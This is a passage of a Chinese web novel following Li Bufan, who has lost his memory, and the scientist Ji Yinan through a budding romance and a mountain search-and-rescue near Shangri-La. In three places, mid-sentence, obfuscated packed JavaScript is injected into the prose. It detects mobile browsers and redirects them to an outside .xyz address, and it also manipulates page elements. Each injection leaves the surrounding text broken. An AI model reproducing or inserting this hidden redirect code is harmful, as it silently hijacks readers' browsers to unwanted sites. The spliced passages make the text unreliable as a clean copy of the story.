雨下得大了一点,蜿蜒的水痕把车窗外的景色变得模糊,车窗以内的季一南,也跟着变成了一个模糊的人、一道影子,安静地伏在李不凡身边。 扫了二维码,李不凡才发现季一南的头像是一副简笔画,画着一个男生的大头。他举起手机,对着季一南比了比,挑眉道:“头像是你?” “嗯,”季一南笑笑,“我一个朋友画的。” “画得挺好的。”李不凡给他备注好了名字。 只是一个头像而已,李不凡没有思考很多,他拉起帽檐,推开门撑了伞,就站在副驾驶的车门边,等季一南绕过来。 两把黑色的伞轻轻相碰,又错开一些,一前一后进了屋檐下。 季一南似乎已经和警员们很熟了,一来便有不少人和他打招呼。李不凡也被一个警官带走,去做笔录。 警察也很清楚他只是被无辜牵连的路人,于是没有多问什么。 回酒店的路上雨小了一点,季一南开得比之前快,到了以后就把车停在酒店外的小院子里。 两个人一起进了酒店,走上电梯,李不凡收了伞,伞面是有些凉的雨水,汇成一缕一缕,顺着他的手流淌。 季一南低下眼,用自己手背去碰李不凡的手背,像被雨水黏住那样没有分开,说:“我帮你拿吧。” 触感有些奇怪,李不凡只停顿了一瞬,就说不用。 季一南没有再尝试说服他,他摸了摸外套口袋,拿出两三张纸巾递给李不凡:“那你擦一擦。” 看李不凡没有马上接过,他没说话,手顿顿地停在半空,想要收回去时,才被李不凡叫住:“给我吧。” 他拿过纸,分了季一南两张,简单给自己擦了下脸和脖子。 餐巾纸湿了大半,季一南忽然很自然地伸手,像是贴心地要帮他扔掉一样,拿走他用过的纸,在掌心攥成了一团。 因为季一南总做让李不凡觉得有些奇怪的事,次数太多,李不凡反而习惯了。 电梯响了一声,停在他的楼层。 李不凡没再想纸的事,朝季一南抬了下手,“送我去医院的事谢谢你,等我找你,请你吃饭。” 这句话在季一南意料之外,他顿了下,说好。 电梯的程序设置得很合季一南的心意,足足过了三十秒,才完全地合拢。 季一南住的房间比李不凡的高了三层,电梯开始上升时,他才像彻底回过神,把手里那团潮湿的纸巾放到鼻尖,很深地闻了闻。 5. 第五章 季一南:【好好休息。】 手机震动时,李不凡正被宋朗白和小柳围在床边。 “哥,你总算回来了,你要再晚两秒我和宋哥都要冲去医院了。”小柳像看到救星一样抓住李不凡手臂,拉着他转了半圈。 “我检查检查,你没受什么伤吧。” “不至于。”李不凡不动声色地躲了下。 他不太喜欢和别人有肢体接触,其他人一碰他他就浑身发毛,想躲。 宋朗白抱着手臂,“李不凡你就在这床上给我老实躺两天,其他事情先别想了。” 李不凡往床边一坐,一边脱外套一边笑,“行啊,放我假我当然可以,后面别找我赶工就行。” “你放一万个心吧,我是那种人吗?哎等你好久有点口渴,我拿瓶水喝啊。” 掌心还有那团潮湿纸巾的触感,李不凡点开键盘,回了季一南一句:【知道了】 “行了,别站我这儿聊天了,好不容易放个假,你们不干点别的?”李不凡赶人。 “知道耽误你聊天了。”宋朗白水还没喝完,拎着矿泉水瓶和小柳,走了。 李不凡点了下屏幕,看见亮起的界面里没有新的消息,就站起来朝浴室走。 站在浴室里,李不凡一件一件脱衣服,直到脱掉最后一件,脖子上挂的那条项链才露出来,贴着他的皮肉晃了一下。 那是一块指甲盖大小的木雕,方方正正的,有一点厚度。上面雕了一朵小花,是快要开放的样子。 李不凡醒来那天,这条项链就戴在他身上。 他发现自己有很多耳环、戒指之类的装饰品,但项链只有一条。 或许这是自己曾经很喜欢、很珍惜的项链,才会这么唯一。因此李不凡醒来后,一直随身戴着它,只有洗澡才会摘下。 热水打开,蒸汽很快充满了浴室,李不凡垂下头,盯着脚下水流的漩涡。 因为高反,他不敢洗得太久,简单冲完澡躺上床,几秒不到,就陷入深眠。 过了不知多久,李不凡开始做梦。 也是一个这样的雨天,他坐在落地窗边接一通电话。 玻璃上的水痕把窗外的廊桥变得扭曲,几架飞机安静地卧在停机坪上。手机屏幕亮了又熄,等到第不知道几次亮起,李不凡才按下了接通。 电流声持续了几秒,在对方要说话的时候,他却忽然从梦中醒来。 微风吹动床边的窗帘,李不凡从缝隙里望向窗外,有片刻发呆。 刚从医院回来,李不凡在酒店待了一整天。 高反的现象基本缓解,晚上他和小柳宋朗白一起出门吃饭,散步到古城旁边。 当金色的阳光再次照亮云崖公园上的转经筒,已经是第二天的清晨。 李不凡起床以后就看到小柳发的照片,是宋朗白拎着水管在洗车。 小柳:【哥,早上我醒了就看见汽修厂老板给我们打电话了,说他今天也回来不了。】 【不过他儿子会过来,能让我们洗个车,别的要等他过两天回来。】 李不凡走到衣柜边,从里面捞出一件薄毛衣套上。衣摆蜷缩着堆积在他小腹的位置,李不凡暂时没管,用下巴压了下衣领,给小柳发消息:【你们还在吗?】 他单手拽着毛衣下摆,看小柳回复:【在的。】 李不凡:【马上到。】 汽修厂不远,李不凡打了个车,过去也就三公里,不到十分钟。 他让司机在稍远一点的路边停车,到附近的早餐店买了几样早餐,给他们带过去。 厂子开在路边,店面很小,挂了一块蓝底白字的招牌,李不凡开过的那辆越野停在门外,已经洗得差不多了。 小柳和宋朗白抽着烟在聊天,看见李不凡,宋朗白抬了抬手。 旁边还停着一辆车,也是越野,李不凡看一眼就停住了。 那车后露出一双黑色短靴,李不凡抬头,和它的主人对视。 “你也来……洗车?”李不凡问。 一天没见,季一南换了身冲锋衣。 “对,昨天下雨,在外面开了一会儿,就脏了。” “这位老师,”宋朗白笑着走过来,手臂搭上李不凡肩膀,和季一南说话,“你洁癖还挺重啊,我们看着你把这车洗了三次了。” 这个汽修厂人手太少,像检查这类事情,老板肯定帮顾客解决,但洗车都是让自助。给地方给清洁剂给块布,就收一点水费,其他就客人随意。 “想洗干净一点。”季一南的目光落在宋朗白的手上,只瞥了一眼就移开。 手里的布他拧了两次,却又低头扔进水盆,泡了一会儿,才像是发现什么一样,捞起来重新拧干,摊开来搭在车前盖。 “行了,你们先吃点东西。”李不凡抬了下肩,宋朗白就把手收回去,接过他拎着的早餐袋子。 没想到季一南也会在这里,李不凡就买了几只包子,三杯豆浆,现在明显不够分。 “买什么了?”小柳也凑上来。 “哥,你吃早餐了吗?”李不凡问。 季一南抬了下头,平淡地说:“没有。” “那豆浆你喝吧,你们继续洗车,我再走两步过去吃。”李不凡把塑料袋打开,拿出一杯豆浆递给季一南。 季一南接过来,把吸管插在里面,没有喝,说:“我洗好了,我和你一起去吧。” “也可以,那你俩把这一袋子吃完吧,”李不凡笑,“小柳你肯定可以的。” “哥,我要减肥啊哥。”小柳望着李不凡和季一南并肩的背影哀嚎。 宋朗白站在他身边,啧了声,凑近小柳:“你有没有觉得,你哥和这个季一南,怪怪的……” “哪里怪?”小柳抱着包子啃,“我哥以前就是这么爱交朋友的人。” “你什么时候当李不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16207360|181286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凡助理的?”宋朗白问。 “……说实话我是我哥为了你这个活临时找的,”小柳清清嗓子,“老板以前一直在国外。” 宋朗白长长点头:“所以啊,你可能还不够了解你的老板。” “你就了解?”小柳笑,“据我所知,你们以前根本不熟吧。” “那又怎么样?”宋朗白愤愤地从塑料袋里挑走小柳最喜欢吃的肉包,“我会看人行不行?” 今天天气好,阳光照在水泥路上,李不凡和季一南的影子并着肩。 季一南把手里插好吸管的那杯豆浆递给他,李不凡没有客气,接过就喝了。 两个人又是去吃米线,季一南按部就班地擦好桌子,这一次在李不凡身边坐下来。 桌子不算很宽,坐两个一米八以上的男生,就显得有些挤。 但季一南好像并没有意识到,也不介意。他的膝盖碰到李不凡的大腿,温热的。 “这两天睡得好吗?”李不凡没话找话。 “一般,”季一南说,“研究所有个清洁阿姨的儿子,昨天上山玩失踪了,我去帮忙,今天早上才回来休息一会儿。” “啊?”李不凡没想到还有这样的意外,他想了想,就说:“我也可以去,我们车还没修好,没什么事,山这么大,你们人力有限。” 季一南没马上说可以,只告诉李不凡:“山上很危险,什么都有可能碰到。” 李不凡点点头,“但你不是也在吗?” 季一南就没再说什么。 吃完东西,他们朝汽修店走。 小柳和宋朗白已经把车洗好了,坐在屋檐下的矮凳子上等。 “你们回酒店吧,玩或者干别的什么都行。”太阳有些晒,李不凡眯了眯眼。 “你呢?”小柳问。 宋朗白仰着头听李不凡讲话,看见站在他身后的季一南忽然转身走到自己车边,拉开车门找什么东西。 “他们研究所里有个小孩子跑出去玩失踪了,本来我也没什么事做,就去帮忙找找。” 眼前落下一片阴影,一顶渔夫帽被扣到头上。李不凡抬脸,看见季一南刚刚收回的手。 “他跟着我,不会有事的。”季一南说。 “哦……哦,行啊,那你们去吧,要是我们也可以帮忙……”宋朗白话没说完,就被李不凡打断道:“算了,你们平时很少上山,我怕出什么意外。” “走了。”季一南抬起手臂,很轻地揽了一下李不凡的肩膀。 李不凡跟着季一南上了车,车刚刚发动,他收到一条宋朗白的短信。 对方只发了一个表情包,大概是一个警察举着一根教棍,点了点黑板上写着的几个字:【小心同性恋】 李不凡:【?】 很快,宋朗白撤回了消息。 宋朗白:【没事,手滑发错了,你注意安全。】 李不凡:【1】 6. 第六章 失踪的人二十二岁左右,刚刚大学毕业,身高一米七五,体重一百四。 李不凡坐在车里仔细地看了他的照片。 救援队在山脚安排了临时帐篷,搭建出简单的营地。 季一南把车停在平坦的草地上,这个季节香格里拉的草还是枯黄色,李不凡下了车,踩着沙沙的草叶,跟着季一南走到营地。 “一哥!” “一哥你来了。” “一哥。” “现在怎么样了?”季一南很快被两三个人围住。 他们都不认识李不凡,不经意间就把李不凡隔在了外面。李不凡其实不介意,他抱着手臂站在旁边,听他们讲话。 “失踪二十四个小时以上了。”一个戴着鸭舌帽的年轻男生把手里的平板递给季一南。 “嗯,大概搜索了哪些区域?”季一南划着屏幕,偏了下头,似乎是在找什么。 没看到人,他转过身,叫站在人群外的李不凡:“不凡,过来。” 围着季一南的人让开一条路,视线都落在李不凡身上。 “李不凡,”季一南搭了一下他肩膀,“我朋友,一起来帮忙的,我带着他。” “这是阿夏,本地人,是我同事。”季一南和李不凡介绍。 “你好。”李不凡打了个招呼。 阿夏朝他点了点头,说:“有什么事也可以找我。” “叫这弟弟小塔就行。他妈妈说他是下午出门的,这边天黑得晚,这个季节七点多才完全黑下来,阿姨就没管他。他有轻微高反,不太舒服才想出去走走,”阿夏继续说,“看监控,他应该是从白玛山南坡出发的,那边不是景区,没几个监控,有条路能通向好几个方向。我们已经搜索过一些地方,但范围实在太大,只能继续找。” “好,那我和李不凡一个组,你们给我们划条路线吧。”季一南说。 他把平板还给阿夏,拿出自己的手机,用导航系统记录了要走的方向。 “一个上午我们能走完这条线,”季一南大概估计了下,“登山杖和手电筒我车里都有,你挑两根安全绳,再拿点吃的。” 他从补给的地方拎了半箱矿泉水,李不凡就低头选绳子和食物。 带着装备回到车里,季一南拖着地图看那段路的情况。 “我们只能把车开到这里。”他点了下屏幕。 这边李不凡不熟,但他记路很快。 季一南把路线标好,李不凡就靠近了一点,想看得更清楚。 季一南的手指很漂亮,虽然听上去他的工作常年在野外,也能看出指尖有一些茧子,但他的指骨很长,指甲是健康的颜色,也修剪得很好。 李不凡只分神了半秒不到,就用心去看地图。 “中午我们要回营地是吗?”李不凡问。 “看情况,来不及的话就在路上解决午饭。”季一南的声音在李不凡耳边忽然显得很清晰。 李不凡感觉到了他均匀而温热的呼吸,他想,季一南好像又离自己很近。 “我没什么问题了。”李不凡侧了下脸,鼻尖几乎碰到季一南的嘴唇。 察觉季一南呼吸一窒,他很轻地抬了抬唇角。 “季一南,”李不凡平静地问他,“你和别人说话的时候,也靠这么近吗?” “不是……我们走吧。”季一南的喉结咽了咽,偏过头,但很快就被李不凡抓住手,又拉回来。 这次靠得更近了,李不凡的鼻尖抵在季一南的脸颊上,他闻到一股薄荷糖的味道,比单纯的薄荷稍甜一点。因为莫名熟悉,李不凡很轻地眨了下眼。 “我忽然有个问题想问你。”李不凡手腕一转,从正面握住季一南的手,拇指碰了下他掌心,很干燥,有些粗糙,刚才注意到季一南手的时候,他就想摸。 很突然的,他听见了季一南的心跳声。 一下一下,很猛烈地在他胸腔里震动着。 李不凡在心里笑了笑,不疾不徐地说:“你一般谈男朋友还是女朋友?” 等了一会儿,季一南也没有说话,只有呼吸乱得不像样。 李不凡抬了抬唇角,放开他手,窝进副驾驶的座位里。 “只是有点好奇,没事,开车吧。” 车里的空气安静了几秒,季一南才很轻地说:“男朋友。” 说完这句话,季一南看着李不凡,等了片刻,李不凡有点不知道季一南想让自己说什么,补了句:“行啊,随便问问。” “嗯。”季一南听起来也像是随便回的,但手刹还没放,就踩了油门。 来参加搜救的人很多,但目前为止还是民间的搜救团队占多数。 下了车,他们和几个队员一起走了一段路,而后在一个岔路口分开。 分到的这条路是平地,但不太好走。 一侧是耸立的高山,另一侧是湍急的河流,可容人通过的道路上布满乱石。 季一南和李不凡的步速差不多,他们一边走,一边观察着两边,时不时喊一声小塔,看能不能得到回应。 “你以前走过这条路吗?”李不凡看季一南很熟悉的样子,问。 “走过,以前我有个师弟在这边研究高山草甸,”季一南说,“而且这边是一条很有名的徒步路线,每年都会有很多驴友过来玩。” 昨天下了雨,此刻虽然气温很高,阳光灿烂,但道路上的泥泞没有完全被晒干。 李不凡留意着这些泥泞的痕迹,看小塔是不是有失足的可能。 “这里离他的出发点已经三公里多了,小塔一个人走这么远,合理吗?”李不凡问。 “可能不太合理,但这一段已经是附近海拔最低的地方,如果沿着森林上坡,三四公里海拔足够提升一千多米,如果到了四千米左右,他应该会明显感觉不舒服。”季一南说。 走了大约两个小时左右,季一南脚步慢了一点,从冲锋衣的口袋里摸出一条巧克力,问李不凡要不要。 他们干脆停下来,坐在山崖边休息。 脚下江波滔天,深绿色的江水冲打着江心的石块,翻滚的浪声裹杂着风,贴着陡峭的悬崖刀片一样涌上来,像在峡谷里打震天响的鼓。 带着凉意的风把李不凡的头发吹乱,他摘下墨镜,反过来挂在耳朵上。 “这个季节的江水是绿色的。” “如果上游下雨,或者高山上下雪,水就会变浑浊。夏季过来的话,基本就是泥土的颜色。”季一南拆好了巧克力的包装,递给李不凡。 因为之前爬了一段很陡峭的路,两个人的手都撑过地面,还残留着泥土,很脏。 季一南看出李不凡的为难,以前就算是在野外,他吃东西之前也要用水洗手,哪怕是溪水或者雨水都可以。 “不用掰,你直接咬,”季一南又把塑料的包装纸往下扯了一点,递到他唇边,“介意吗?” 李不凡笑了下,虚虚拢住季一南的手腕,垂头咬下一块巧克力。 快到正午,气温升了起来。李不凡拉开几寸衣领,让风灌进衣服里,撑出一点形状。 那块巧克力很大,李不凡微微仰头,漫不经心地吃。于是露在嘴唇外的部分一点点减少,巧克力色擦在李不凡的唇角。 季一南的目光下移了很短的距离,落在李不凡的嘴唇上,只瞥了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16207361|181286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼,他就转过脸。 巧克力的边缘被李不凡咬得很整齐,只看出很少的牙齿的弧度。 季一南也咬下一块,用舌尖裹进口腔,吮..吸着、舔舐着。 “如果小塔真的是在这里……”李不凡没有说下去,“一路上没看到什么滑落的痕迹,但愿他从没来过这边。” “嗯。”季一南望向江水。 简单补给好,他们继续沿着山壁往前走。 又过了大约一个小时,前面忽然开始热闹起来。 许多穿着冲锋衣的人从另一侧的山坡往下走,似乎是要下到峡谷的底部。 “那边是休息的客栈,”季一南停下脚步,“我们过去坐一会儿,吃个午饭。” 收了登山杖,李不凡跟着季一南通过铁梯爬上地面的客栈。 餐厅里有许多来吃饭的人,他们挑了一个窗边的座位。点好菜,季一南把手机打开,给服务生看小塔的照片。 “我们在找这个人,他二十二岁,一米七五,您看看有没有见过他。” 服务生看了看,好像没什么印象,就说:“我能把你手机拿走,给我们老板看看吗?” 季一南点了点头。 两个小时的山路对李不凡来说不算很费劲,他喝了口茶,看季一南重新清理他们的装备。 “下午我们搜索完这边就回营地,我让其他顺路的人送你回酒店。” “你呢?”李不凡问。 “这边没结果的话,晚上我会跟其他人一起走另外一条路上山。”季一南说。 “你们经常参与这种救援行动吗?” “不算,我在研究所里算是有救援经验的,才会参加。”季一南装好了所有东西,把登山包的拉链拉好。 “你来这边多久了?看起来像是来了很多年。” “没有,一年左右。” “那你原来是在……” “您好,我们老板说没见过这个小孩,我还给其他的工作人员看了眼,”服务生走过来,把手机还给季一南,“他走丢多长时间了?” “超过二十四小时了,是前天晚上。”季一南说。 丢失一名游客,对当地来说是很严重的事故。 “我们这边每天有很多游客过来,刚才老板拍了张他的照片,会给过来吃饭的人都看看。”服务生说。 “谢谢你们。”季一南收好手机。 很快,他们点的菜也端了上来。 走了一上午,李不凡很饿,拿起筷子吃得很快。 “我原来是在国外,”季一南接着李不凡刚才的提问,和他聊天,“待了很多年。” “那为什么回来?”李不凡问。 季一南没有立刻回答,他看向李不凡,先提醒他:“吃东西慢一点。” “我习惯了。”李不凡笑。 香格里拉天气多变,但午后的阳光总是准时。 窗外是枯黄和深绿交错的磅礴高山,太阳悬在峡谷中间,微微倾斜地照过来,其中很少一片,落在李不凡眉眼。 从前李不凡也总是笑,可他的笑不纯粹,因为季一南见过太多他难过的时候。 那时他抱着他,和他再亲密也无能为力。 他知道自己不是能彻底治好李不凡的药,以为只能去梦里才能再见到李不凡这样笑。 “为了很重要的事,我回国了。”季一南拿起筷子,把铜锅鸡上的香菜拨到自己这边。 李不凡不是完全不吃香菜,他其实很挑食,想在菜里能尝出香菜的味道,又不想吃的时候吃到香菜本身。 所以每次都是季一南给他挑,以前他们都习惯了。 7. 第七章 下午同样一无所获,季一南开车带李不凡回营地的时候,时间就已经有些晚了。 下了车,他第一件事就是去给李不凡找带他回酒店的人。 白天出去搜救的队伍,这个点差不多都回来了,季一南看到一个自己熟悉的人,要上前问的时候被李不凡抓住手臂。 “我想了想,算了,我晚上跟你一起去。我现在没什么不良反应,身体情况挺好的,晚上太危险了,多一个人算一份力量。” “可能会到很晚。”季一南说。 “没关系。”李不凡收回了手。 晚上他们在营地里和救援队一起吃了晚餐。 夜间可能下雨,这个温度也可能下雪,他们去帐篷里领雨衣。 衣服都还没开包装,堆叠在角落里。 季一南走过去,从里面找出两件尺码合适的,其中一件递给李不凡。 “我还是觉得有点不太对,”李不凡撕着塑料包装,“小塔经常来你们研究所玩吗?” “不算经常,来过两三次吧。”季一南说。 “只来过两三次,怎么敢一个人跑这么远?我们能不能再去找知情的人聊聊,如果他只是想出去散散步,至于走得这么深这么远吗?他还有高反,不会害怕吗?”李不凡想着事情,手里的动作都慢了很多。 “一哥。”一个年轻女生走进帐篷。 “你也在?你不是休假去了吗?”季一南和她打招呼。 “对啊,临时回来的,你们人少,我之前多少有点经验,过来帮忙。” “这是我朋友,李不凡,”季一南说,“这是我同事,还是跟我一个办公室的。” “你好。”李不凡抬了下手,算作打招呼。 “你有发夹吗?能不能借我几个。”季一南问那个女生。 对方很痛快地就从外套里拿出几根黑色的长发夹。 她也去角落拿雨衣,季一南则走到李不凡身前,低头说:“我帮你弄下衣服。” 冲锋衣的领口比雨衣的领口稍高一些,季一南帮他把雨衣的领子拨起来,用长夹子夹得稳稳当当。 “你刚刚说的事,我们等会儿出去问问。”季一南比李不凡高一点,说话的时候,小小的气流会弄得李不凡脖子很痒。 等他退开,李不凡才抬手搭了下颈侧,觉得有点热。 阿夏以及另外两个经验丰富的户外向导,和他们分到一组。 三个人正围在一起抽烟,季一南走过去,跟他们打招呼。 “一哥,你们好了,”阿夏从自己身上找出一盒开过的烟,“抽吗?” 他们抽的烟特别烈,季一南说不要,李不凡也摆摆手。 “小塔的妈妈在吗?我们有点事想问下。”季一南说。 “本来在的,但是她控制不了情绪,队长让人带她回去了,”阿夏指了个方向,“队长在那边。” 天色已经慢慢暗下来,营地里亮起灯光。 “你有什么想问的都可以问。”季一南把李不凡带到队长面前。 这是一位四十岁左右的中年男人,因为常年生活在高原上,他脸上有一层层的晒斑。 “你好,我是这次行动的队长。”他和李不凡简单握了下手。 “我知道你们已经把最合理的范围搜了个遍,你们了解小塔吗?”李不凡问,“我其实就是觉得他没什么走这么远的动机,他来这边,是来旅游吗?” “差不多,他妈妈说他大四,已经保研了,所以过来玩儿,”队长想了想,“我们现在找人去他房间看看。” “好,麻烦您了,”李不凡其实也只是顺嘴问了下,“他大学什么专业。” “生态学。”队长说。 李不凡和季一南对视一眼。 “哥,如果他是一个生态学的学生,到这种地方,他是不是会想去找什么植物动物之类的……” 队长立刻说:“我现在通知他们去联系一下他同学,再找人看看他房间里有没有什么研究资料。” 在有结果之前,他们仍旧按照之前的分组进行搜索。 晚上的路全部是上坡,比白天更消耗体力。 季一南走在李不凡稍微后面半步的位置,确保能随时看到他。 一些村民也来参加搜索,他们熟悉这里,装备更简陋一些。 一束束头灯照亮前往高山的路,交错着穿插在树林间。 “小塔——” “小塔!” “小塔——!” 李不凡含着一块薄荷糖,清凉的味道能让他醒神。 走了大约一小时,他们五个人的小组和大部队分开,单独搜索一片树林。 夜晚的高山并不安静,天空很快就飘起雨来。 李不凡拿着手电筒,借着光,才看清那不是雨,是雨珠大小的雪粒。 白天喊了一天,李不凡的嗓子已经有点哑了。 路不算难走,但地上光秃秃的,有一侧是山崖,到谷底是一片湖泊。 再往上走,他们碰见一朵一朵长得半人高的、像白菜一样的植物。 “这是塔黄,”季一南说,“非常少见,能长得比现在还高。它们一辈子只开一次花,之后就会凋谢。” 这个季节,香格里拉的夜晚有时能降到零度以下。他们迎着风,雪纷纷扬扬砸在脸上,很凉。 季一南很突然地握住李不凡的手腕,牵着他绕开那几株塔黄。 “它们对环境要求很高,我们尽量不要靠近。” 有理有据,李不凡看着季一南背影,看他雪夜中被冻红的耳朵。 “塔黄开花我也没见过几次,”阿夏感叹,“难得嘞——” 绕开那片碎石地,他们继续沿着大路往前。 对讲机里时不时传来其他组的消息,到现在也没有任何人发现小塔的踪迹。 雪越来越大,不远处耸立着一座皑皑雪山,在树林间穿梭时,李不凡抬眼就能看到。 山崖逐渐变得缓了一些,层层叠叠的树丛密密麻麻生长在脚下。 阿夏是最熟悉这座山的人,他一直走在最前方领路。 “前面有片平地,我们过去休息一会儿。”阿夏用手电筒照了照前方。 李不凡停下脚步,喘了两口气,视线跟着阿夏的手电望过去。 树林里十分平静,他却呼吸一顿。 “阿夏,”李不凡放小了声音,“我不知道我是不是看错了,前面好像有动物。” 众人神色一凛,都没再往前走。 阿夏用手电筒照过去,两棵三角状的耸立的大树间,站着一头有人那么高的、眼睛反着光的黑熊。 大家不敢轻举妄动,只盯着黑熊的动作。 “一哥,我包里有东西。”阿夏说。 季一南脚步很轻地走到阿夏身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16207362|181286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后,拉开他背包的拉链,从里面找出防熊喷雾和一把猎刀。 他把喷雾递给阿夏,自己握紧了刀。 “喂喂,第十五小队,我们在南坡大约一个半小时路程的地方偶遇黑熊。”阿夏用对讲机和营地联系。 几声波动后,对讲机里传来回复:“营地收到,立刻派人过去。” “我们先别动,看看熊会不会自己走,”季一南控制着呼吸,半个身体把李不凡挡在身后,“它们夜里喜欢去湖边捕鱼喝水。” 本地猎刀每一把都有编号,需要登记。刀背和刀刃都有曲度,微微朝下,像一把弓。雪窸窸窣窣地下着,在手电筒的灯光下,季一南手里的猎刀反射着凛冽的寒光。 黑熊在距离他们接近二十米的位置,它站在高高的石块上,小幅度地来回走动,俯瞰着属于自己的森林。 好在周围都是树丛,李不凡打量一圈,低声说:“我们朝左走一点,躲到石头后面去。” 雪地上发出轻微的摩擦声,大家脚步很轻地缓慢移动,纷纷站到几块大石头后。 “我一个人盯着它,你们都别看,把手电关了,躲好。”阿夏说。 石块阻挡了猛烈的风,雪粒飞在脸上,至少不再疼了。 李不凡侧过身,关掉了手电筒。 四周陷入黑暗,李不凡只能感觉到身侧季一南起伏的呼吸。 过了大概半秒,季一南忽然握住他的手,把猎刀塞给他,一个转身将他压在石块上。 季一南的压法很有技巧,他制住李不凡的关节,整个人像一面墙覆上来,让他动弹不了。 每一次胸膛的起伏李不凡都能感受到,他们紧紧贴在一起,呼出的热气很快就变得潮湿,融合成同一滴水珠,细密地贴上皮肤。 “别动……万一有事,你拿着刀,从旁边树林往下跑。”季一南侧过脸,嘴唇很轻地碰到李不凡耳廓。 “那你呢?”李不凡用气音问。 “我和阿夏会处理。”季一南说。 明明是我和阿夏会去送死吧。 李不凡皱着眉,有点生气:“季一南,你少放这种屁。” 他这么骂完,季一南却笑了一声,一只手抬起来慢慢握住了李不凡的腰侧,安静地趴在李不凡身上。 这好像一个拥抱。 眼前没有那只随时可能冲上来的熊,他们也不是在风雪中,不是要寻找一个失踪的人,只是两个普通游客,在这里拥抱彼此。 李不凡感觉到了季一南的心跳,每一下都很有力。 片刻后,季一南动了动,他侧过脸,额头贴住李不凡的额头,鼻尖抵住李不凡的鼻尖。 现在不是一个很好的时机,季一南控制着自己的吐息,闭了闭眼,握着李不凡腰的手紧了一点。 身后的树丛发出走动的声音,那阵动静很大,季一南心跳更快。 他想,如果要分离,如果下一秒,他们就要再次道别,那…… 季一南呼吸颤抖,偏头用嘴唇碰了一下李不凡的唇角,如同一次意外。 很轻很轻,像雪落下来。 “没事了,熊自己走了。”阿夏说。 石块后的两个人都愣住了,有人打开了手电,光薄薄地照亮季一南无措的脸。 “……对不起啊刚才我……”季一南垂下眼,也松开了抱住李不凡的手。 他往后退了一步,踩进雪里。 8.第八章 灯光下,李不凡看清季一南的后背。雪在他的黑色雨衣上积起了一层,像另外一件衣服。 “走吧。”季一南说。 他一动,后背的雪就连片地滚了下来。 季一南看了一眼李不凡的手,但不敢再牵了。 “吓死我了,”一个向导拍了几下胸脯,“这么多年我也就小时候遇到过几次熊。” “营地营地,危机解除,你们不用过来了。”阿夏立刻通知营地。 “那你还是来得不够多,”另一个向导拍拍他肩膀,“我之前有段时间,每天早上跟着景区工作人员去巡逻赶熊。” 气氛松弛了一些,李不凡跟上季一南,继续走在他身边。 季一南的走路姿势比之前僵硬不少,李不凡虽然被亲得有些懵,但没到讨厌的地步,甚至不能完全说不喜欢。 他很清楚自己对季一南多少有点感觉,不然也不会撩他,但季一南的表现……让他费解的同时,又很可爱。 他们继续沿着路上山,走到路线尽头,阿夏停了下来,说:“再走下去就超出合理范围了。” 又是没有收获的一个晚上,雪下得越来越大,气温也更低了,再待下去他们也不安全。 大家扭头下山,顺路继续检查草木山石的痕迹,都有些沉默。 快到山脚时,他们偶遇另外两队搜救的人,都没什么进展。 回到营地,志愿者们正在给刚从山上下来的队员烧开水煮面,季一南带着李不凡走到燃起的火堆边。 “你在这里坐一会儿,”他只看了李不凡一眼就移开视线,“我去问问队长现在什么情况。” 李不凡点点头。 火堆边围坐着十几个人,都和李不凡一样穿着很厚的冲锋衣。 雪在下山的路上就停了,李不凡摘掉了雨衣,在火堆边的石块上坐下来。 “要喝杯热水吗?”一个穿着厚衣服的老婆婆拿着一只不锈钢的大碟子,上面放了很多倒好水的纸杯。 李不凡拿走一杯,说谢谢。 捂着热水杯,掌心那股寒意退了不少,李不凡重新暖和起来。 水还没到能喝的程度,他捧了一会儿,感觉到手机在口袋里震动了几下。 打开来是宋朗白的消息。 宋朗白:【山上情况怎么样?我们这边也听到风声了,说是有人走丢,警察已经封锁了一段路。】 李不凡:【还没有找到。】 宋朗白:【哥,你小心点,你也不是专业的,别受伤了。】 宋朗白:【什么时候回来?】 李不凡:【明天吧。】 李不凡:【我会注意安全,你和小柳也别到处走了,等解封以后再说,安全第一。】 宋朗白:【知道,我保证把小柳看得严严实实。】 就聊了一分多钟,手里的水凉了不少。 李不凡喝了一口,看见火堆后,不远处的平地上,路过的两三个人都把手里的石头堆在一起。 他不懂这里的风俗,问了旁边坐着的一位大哥。 “他们在干什么?” “那个是玛尼堆,祈福的,你从地上捡块石头,想着一个愿望,再放上去就好,”那大哥一脸发愁,从口袋里摸出了一根烟,“唉,这么久了,这孩子……” 李不凡仰头喝完了水,火堆边的空地上有很多石块,他弯腰选了一块,走到玛尼堆边。 石堆已经很高,有人在旁边的树枝上拉了几条经幡,夜里只能看出灰暗的颜色。 风雪下,经幡簌簌地滚动着,像谷底的波浪。 李不凡蹲下来,把自己的那块石头小心地放在上面。 不管你现在在哪里,希望你能平安回来…… 